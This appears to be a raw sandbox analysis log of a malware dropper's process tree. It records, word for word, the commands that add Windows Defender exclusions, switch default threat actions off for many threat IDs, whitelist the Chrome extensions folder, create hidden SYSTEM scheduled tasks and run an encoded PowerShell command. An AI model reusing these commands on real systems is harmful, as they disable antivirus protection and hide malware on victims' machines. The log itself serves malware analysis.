PID 2376 wrote to memory of 2024	2376	powershell.exe	reg.exe
PID 2376 wrote to memory of 2024	2376	powershell.exe	reg.exe
PID 2376 wrote to memory of 3860	2376	powershell.exe	reg.exe
PID 2376 wrote to memory of 3860	2376	powershell.exe	reg.exe
PID 2376 wrote to memory of 3860	2376	powershell.exe	reg.exe
PID 2376 wrote to memory of 2756	2376	powershell.exe	reg.exe
PID 2376 wrote to memory of 2756	2376	powershell.exe	reg.exe
PID 2376 wrote to memory of 2756	2376	powershell.exe	reg.exe
PID 2376 wrote to memory of 3364	2376	powershell.exe	reg.exe
PID 2376 wrote to memory of 3364	2376	powershell.exe	reg.exe
PID 2376 wrote to memory of 3364	2376	powershell.exe	reg.exe
PID 2376 wrote to memory of 2488	2376	powershell.exe	reg.exe
PID 2376 wrote to memory of 2488	2376	powershell.exe	reg.exe
PID 2376 wrote to memory of 2488	2376	powershell.exe	reg.exe
PID 2376 wrote to memory of 2432	2376	powershell.exe	reg.exe
PID 2376 wrote to memory of 2432	2376	powershell.exe	reg.exe
PID 2376 wrote to memory of 2432	2376	powershell.exe	reg.exe
PID 2376 wrote to memory of 2020	2376	powershell.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\bd214f63302f8c0efc7e193f9c29faf61c7368258875a19e14bd4d15998991db.exe
"C:\Users\Admin\AppData\Local\Temp\bd214f63302f8c0efc7e193f9c29faf61c7368258875a19e14bd4d15998991db.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4512

C:\Users\Admin\AppData\Local\Temp\7zS61D7.tmp\Install.exe
.\Install.exe
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4320

C:\Users\Admin\AppData\Local\Temp\7zS638C.tmp\Install.exe
.\Install.exe /qwdidsn "525403" /S
3⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:2688

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
4⤵
- Suspicious use of WriteProcessMemory
PID:312

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
5⤵
- Suspicious use of WriteProcessMemory
PID:2464

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4592

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
7⤵
- Suspicious use of AdjustPrivilegeToken
PID:1512

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "bUVDAOPnPkUhchiViu" /SC once /ST 05:09:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS638C.tmp\Install.exe\" q7 /ITCdidPr 525403 /S" /V1 /F
4⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:3328

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2688 -s 828
4⤵
- Program crash
PID:3760

C:\Users\Admin\AppData\Local\Temp\7zS638C.tmp\Install.exe
C:\Users\Admin\AppData\Local\Temp\7zS638C.tmp\Install.exe q7 /ITCdidPr 525403 /S
1⤵
- Executes dropped EXE
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:1916

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2376

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
3⤵
- Suspicious use of WriteProcessMemory
PID:4684

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
4⤵
PID:4196

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
3⤵
PID:364

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
3⤵
PID:3020

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
3⤵
PID:4992

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
3⤵
PID:4208

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
3⤵
PID:1068

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
3⤵
PID:2024

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
3⤵
PID:3860

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
3⤵
PID:2756

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
3⤵
PID:3364

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
3⤵
PID:2488

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
3⤵
PID:2432

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
3⤵
PID:2020

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
3⤵
PID:2400

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
3⤵
PID:1596

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
3⤵
PID:1292

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
3⤵
PID:4960

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
3⤵
PID:4980

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
3⤵
PID:4928

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
3⤵
PID:4640

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
3⤵
PID:4420

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
3⤵
PID:4548

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
3⤵
PID:4484

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
3⤵
PID:2236

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
3⤵
PID:5092

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
3⤵
PID:3008

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
3⤵
PID:4956

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
3⤵
PID:4136

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\MIUMVdEgyTUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\MIUMVdEgyTUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NNMAoTKMcAkAC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NNMAoTKMcAkAC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\bBBSFQQZU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\bBBSFQQZU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\rPikKiIbwrQGukIChiR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\rPikKiIbwrQGukIChiR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\rUfZlqUIdWiU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\rUfZlqUIdWiU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\fHdtCMTPryqSDgVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\fHdtCMTPryqSDgVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\VEEcyYEQYAyIstnON\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\VEEcyYEQYAyIstnON\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\WZpWNMsDzSAcKsSA\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\WZpWNMsDzSAcKsSA\" /t REG_DWORD /d 0 /reg:64;"
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2316

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MIUMVdEgyTUn" /t REG_DWORD /d 0 /reg:32
3⤵
PID:1184

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MIUMVdEgyTUn" /t REG_DWORD /d 0 /reg:32
4⤵
PID:4308

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MIUMVdEgyTUn" /t REG_DWORD /d 0 /reg:64
3⤵
PID:2396

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NNMAoTKMcAkAC" /t REG_DWORD /d 0 /reg:32
3⤵
PID:3532

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NNMAoTKMcAkAC" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1364

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bBBSFQQZU" /t REG_DWORD /d 0 /reg:32
3⤵
PID:3916

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bBBSFQQZU" /t REG_DWORD /d 0 /reg:64
3⤵
PID:2940

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rPikKiIbwrQGukIChiR" /t REG_DWORD /d 0 /reg:32
3⤵
PID:4396

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rPikKiIbwrQGukIChiR" /t REG_DWORD /d 0 /reg:64
3⤵
PID:2628

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rUfZlqUIdWiU2" /t REG_DWORD /d 0 /reg:32
3⤵
PID:1772

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rUfZlqUIdWiU2" /t REG_DWORD /d 0 /reg:64
3⤵
PID:3340

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\fHdtCMTPryqSDgVB /t REG_DWORD /d 0 /reg:32
3⤵
PID:4316

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\fHdtCMTPryqSDgVB /t REG_DWORD /d 0 /reg:64
3⤵
PID:992

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
3⤵
PID:4592

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1720

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\VEEcyYEQYAyIstnON /t REG_DWORD /d 0 /reg:32
3⤵
PID:3700

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\VEEcyYEQYAyIstnON /t REG_DWORD /d 0 /reg:64
3⤵
PID:2308

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\WZpWNMsDzSAcKsSA /t REG_DWORD /d 0 /reg:32
3⤵
PID:5012

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\WZpWNMsDzSAcKsSA /t REG_DWORD /d 0 /reg:64
3⤵
PID:2152

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gmGXRvrEt" /SC once /ST 02:56:07 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
2⤵
- Scheduled Task/Job: Scheduled Task
PID:3524

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gmGXRvrEt"
2⤵
PID:4516

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gmGXRvrEt"
2⤵
PID:1424

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "MhsnVFKWmmyXGZkTD" /SC once /ST 03:30:20 /RU "SYSTEM" /TR "\"C:\Windows\Temp\WZpWNMsDzSAcKsSA\JdHzeCSmzFzWXve\EeoKfwv.exe\" DG /DREddidYl 525403 /S" /V1 /F
2⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:2432

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "MhsnVFKWmmyXGZkTD"
2⤵
PID:4340

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1916 -s 776
2⤵
- Program crash
PID:1848

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4456

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
2⤵
PID:3380

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
1⤵
PID:1408

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:4040

\??\c:\windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:4080

C:\Windows\Temp\WZpWNMsDzSAcKsSA\JdHzeCSmzFzWXve\EeoKfwv.exe
C:\Windows\Temp\WZpWNMsDzSAcKsSA\JdHzeCSmzFzWXve\EeoKfwv.exe DG /DREddidYl 525403 /S
1⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1828

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "bUVDAOPnPkUhchiViu"
2⤵
PID:2860

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
2⤵
PID:2944

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
3⤵
PID:4896

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
4⤵
PID:2492

